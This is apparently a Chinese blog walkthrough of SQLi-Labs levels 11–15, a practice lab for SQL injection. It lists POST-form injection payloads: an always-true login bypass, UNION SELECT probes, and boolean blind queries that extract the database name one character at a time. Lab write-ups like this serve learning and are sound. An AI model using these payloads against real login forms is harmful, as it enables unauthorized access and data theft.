@


sqli。开启新坑。

索引

  • Less-11:POST 回显注入,字符型【'】。
  • Less-12:POST 回显注入,字符型【")】。
  • Less-13:POST 回显注入,字符型【')】。
  • Less-14:POST 回显注入,字符型【"】。
  • Less-15:POST 布尔盲注,字符型【'】。

Less-11

题解

第十一关页面发生了变化,是账户登录页面。那么注入点在输入框。

当输入 username 为 1 时出现错误图片。

输入 1' ,出现报错信息。根据报错信息可以推断该 sql 语句为:username='参数' and password='参数'

知道 sql 语句后可以构造一个恒成立的 sql 语句,看看查询出什么。

Username 输入(一个万能登录语句):

1' or 1=1 #

这里需要换成 “ # ” 来注释, 不能再用 “ --+ ”。

再看看联合查询:

1' union select 1, 2 #

都做到这里了,接下来的思路就和 Less-1 一样了。不多说了。

原理

前十关使用的是 get 请求,参数都体现在 url 上,而十一关是 post 请求,参数在表单里。可以直接在输入框进行注入。

根据经验可以猜测 sql 语句。大概的形式应该是 “ username=参数 and password=参数 ”。

Less-12

这题,原理和 Less-11 一样。

题解

输入 1" 时,根据报错信息可以判断出参数是双引号带括号的。

判断是否存在 sql 注入。

1") or 1=1 #

看看回显。

1") union select 1, 2 #

剩下的该怎么做,理解了 Less-11 与 Less-1 就知道了。

Less-13

原理和 Less-11 一样。

题解

根据报错信息可以判断出参数是单引号带括号的。

剩下的不多说了。

Less-14

原理和 Less-11 一样。

题解

为双引号字符串。

这几题都和 Less-11 一样。

Less-15

题解

输入 1' 或者 1 时,错误回显。

输入 1' or 1=1 # 时,正确回显。

判断一下当前数据库名称的长度。

1' or length((select database()))>=8 #

得到数据库长度为 8。

然后通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。

1' or ascii(substr((select database()), 1, 1))=115 #
1' or ascii(substr((select database()), 2, 1))=101 #
...
1' or ascii(substr((select database()), 8, 1))=121 #

剩下的思路与过程,理解 Less-5 就会了。

原理

布尔盲注。详见 Less-5。


半烟半雨溪桥畔,渔翁醉着无人唤。

——《菩萨蛮》(宋)黄庭坚

《SQLi-Labs》03. Less 11~15的更多相关文章

  1. Facebook不相信所谓的员工能力等级。《长效商业英雄》(《哈佛商业评论》2016年11期),4星。

    老牌管理杂志.本期我给4星.以下是书中一些信息的摘抄: 1:爱因斯坦曾说:“任何傻瓜都能让事情更复杂,只有天才能让事情变简单.”单就这一点来看,乔布斯无疑是天才中的天才.#137 2:通过让苹果聚焦于 ...

  2. 《C#本质论》读书笔记(15)使用查询表达式的LINQ

    15.1 查询表达式的概念 简单的查询表达式 private static void ShowContextualKeywords1() { IEnumerable<string> sel ...

  3. 《图解Http》 10,11章:构建Web的技术, Web的攻击技术

    10.2动态HTML 通过调用客户端脚本语言js,实现对web页面的动态改造.利用DOM文档对象模型,指定想发生变化的元素. 10.22 更容易控制的DOM 使用DOM可以将HTML内的元素当作对象操 ...

  4. 《Effective Java》读书笔记 - 11.序列化

    Chapter 11 Serialization Item 74: Implement Serializable judiciously 让一个类的实例可以被序列化不仅仅是在类的声明中加上" ...

  5. Oracle入门《Oracle介绍》第一章1-1

    1.Oracle 简介 a.对象关系型的数据库管理系统 (ORDBMS) b.在管理信息系统.企业数据处理.因特网及电子商务等领域使用非常广泛 c.在数据安全性与数据完整性控制方面性能优越 d.跨操作 ...

  6. 一起学JAVA之《spring boot》03 - 开始spring boot基本配置及项目结构(转)

    <div class="markdown_views"> <h3 id="一导航"><a name="t0"& ...

  7. 《图解设计模式》读书笔记1-1 Iterator模式

    目录 迭代器模式的类图 类图的解释 迭代器模式的代码 解释 原因 思想 迭代器模式的类图 类图的解释 名称 说明 Aggregate 集合接口,有提供迭代器的方法 Iterator 迭代器接口,提供迭 ...

  8. 《C++ Primer》笔记 第11章 关联容器

    关联容器类型 解释 按关键字有序保存元素 -- map 关联数组:保存关键字-值对 set 关键字即值,即只保存关键字的容器 multimap 关键字可重复出现的map multiset 关键字可重复 ...

  9. 转《WF编程》笔记目录

    <WF编程>笔记目录 2008-03-18 09:33 by Windie Chai, 26803 阅读, 49 评论, 收藏, 编辑 WF笔记开始 <WF编程>系列之0 - ...

  10. 黑洞有毛 or 黑洞无毛:4星|《环球科学》2019年03月号

    <环球科学>2019年03月号 高水平的科普杂志.本期我感兴趣的话题有: 1:65岁以上老年人是转发假新闻的主力: 2:人的面孔特征可以通过50个维度来定义: 3:华裔科学家发现人脑颞叶中 ...

随机推荐

  1. 2014年蓝桥杯C/C++大学B组省赛真题(李白打酒)

    题目描述: 题目描述 话说大诗人李白,一生好饮.幸好他从不开车. 一天,他提着酒壶,从家里出来,酒壶中有酒2斗.他边走边唱: 无事街上走,提壶去打酒. 逢店加一倍,遇花喝一斗. 这一路上,他一共遇到店 ...

  2. springboot 整合jdbc

    在springboot底层无论关系型还是非关系型数据库都是用spring-data进行交互 新建: 通过spring initialer勾选重要依赖jdbc api和mysql driver: 源码分 ...

  3. 小程序 Page "pages/posts/post-detail/post-detail" has not been registered yet.

    今使用wx.navigateTo进行页面跳转老是提示Page "pages/posts/post-detail/post-detail" has not been register ...

  4. How to boot the Raspberry Pi system from a USB Mass Storage Device All In One

    How to boot the Raspberry Pi system from a USB Mass Storage Device All In One 如何从 USB 启动树莓派引导系统 / 如何 ...

  5. htop 和 bashtop 的一些不足

    htop 和 bashtop 都是 Linux 资源监视器中非常好用的工具,尤其对于展示当前 Linux 操作系统的处理器.内存.硬盘.网络和进程等各项资源的使用情况与状态.但它们都有一个问题,就是当 ...

  6. 没用,随便写的(Dec_8_2022)

    import numpy as np from PIL import Image import pandas as pd import matplotlib.pyplot as plt # 第一个 # ...

  7. 一文搞懂V8引擎的垃圾回收机制

    前言 我们平时在写代码的过程中,好像很少需要自己手动进行垃圾回收,那么V8是如何来减少内存占用,从而避免内存溢出而导致程序崩溃的情况的.为了更高效地回收垃圾,V8引入了两个垃圾回收器,它们分别针对不同 ...

  8. WPF之浅谈数据模板(DataTemplate)

    数据模板有什么用 简而言之,数据模板能让你更方便.更灵活的显示你的各类数据.只有你想不到,没有它做不到的(感觉有点夸张,实践之后,你就觉得一点不夸张 ). 直接对比下效果: 无数据模板 应用了数据模板 ...

  9. 如何将视频文件.h264和音频文件.mp3复用为输出文件output.mp4?

    一.初始化复用器 在这个部分我们可以分三步进行:(1)打开输入视频文件上下文句柄 (2)打开输入音频文件上下文句柄 (3)打开输出文件上下文句柄 1.打开输入视频文件上下文句柄 在这一步,我们主要用到 ...

  10. GC 分代回收算法

    GC 分代回收算法 1.首先了解JVM堆内存是如何分配的. 年轻代内部  生成区 和 S0 S1 的比例 默认情况下是 8:1 :1 堆内存和永久代存储的内容有区别:  堆内存主要存储的是 : 对象, ...